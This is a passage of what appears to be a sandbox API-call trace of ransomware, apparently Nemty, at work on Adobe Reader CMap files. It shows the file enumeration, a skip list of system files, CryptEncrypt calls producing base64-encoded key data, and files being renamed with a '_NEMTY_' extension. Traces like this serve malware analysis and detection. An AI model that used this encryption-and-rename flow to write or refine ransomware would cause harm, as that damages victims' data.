cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-0", lpUsedDefaultChar=0x0) returned 11 [0198.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-0", lpUsedDefaultChar=0x0) returned 11 [0198.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.216] Sleep (dwMilliseconds=0x5) [0198.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29dd4e70, dwHighDateTime=0x1d561e8)) [0198.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29dd4e70, dwHighDateTime=0x1d561e8)) [0198.351] GetLastError () returned 0x5 [0198.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.351] GetLastError () returned 0x5 [0198.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.352] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.352] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.352] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0198.352] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="/+PB3wfBri0/X1fBHR13O0DYT6fe+MBemgzXptoiMOtes3a7PkigNV56JbPB3cSM\r\nU9q3jWjcwTsaFi+FFXxQYry0p3wA5N/Zv8hW/oWhJZGIMSfQTm5yf4DBxU6DXziw\r\nmGXmXjJwE2SMfWP6kqJ7ra8lF6X3Xk0XJ97XZyrCobjhUWd/fy3qRv3WO1F8bQ3S\r\ncE9ZpSsUM68GMFS5tohw23SP0Jp41vZ0/RVdwpibiGbTLkEFV6Ew+PK0AJesblIP\r\nHZTX12PBuAsSr9aIIQoRjyVN/oeLrLrl7ce7sTorCUuw4kORi9NhnEhQH7FHf1JF\r\nCCJ/ZUgYZOb0W8VCxObGIA==\r\n", pcchString=0x653e91c) returned 1 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0198.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0198.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.352] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.469] CloseHandle (hObject=0xffffffff) returned 0 [0198.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0198.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.469] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0._nemty_kgobjgd_")) returned 0 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.469] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="AD9B16~1")) returned 1 [0198.469] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2=".") returned 1 [0198.469] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="..") returned 1 [0198.469] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="...") returned 1 [0198.469] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="windows") returned -1 [0198.469] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="$RECYCLE.BIN") returned 1 [0198.469] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="rsa") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="NTDETECT.COM") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="ntldr") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="MSDOS.SYS") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="IO.SYS") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="boot.ini") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="boot.ini") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="AUTOEXEC.BAT") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="ntuser.dat") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="desktop.ini") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="CONFIG.SYS") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="RECYCLER") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="BOOTSECT.BAK") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="bootmgr") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="programdata") returned -1 [0198.470] lstrcmpiW (lpString1="Adobe-GB1-1", lpString2="appdata") returned -1 [0198.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-1", lpUsedDefaultChar=0x0) returned 11 [0198.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-1", lpUsedDefaultChar=0x0) returned 11 [0198.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-1", lpUsedDefaultChar=0x0) returned 11 [0198.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-1", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-1", lpUsedDefaultChar=0x0) returned 11 [0198.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.470] Sleep (dwMilliseconds=0x5) [0198.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29f2bad0, dwHighDateTime=0x1d561e8)) [0198.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29f2bad0, dwHighDateTime=0x1d561e8)) [0198.477] GetLastError () returned 0x5 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.477] GetLastError () returned 0x5 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.477] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.477] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.477] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0198.477] CryptBinaryToStringA 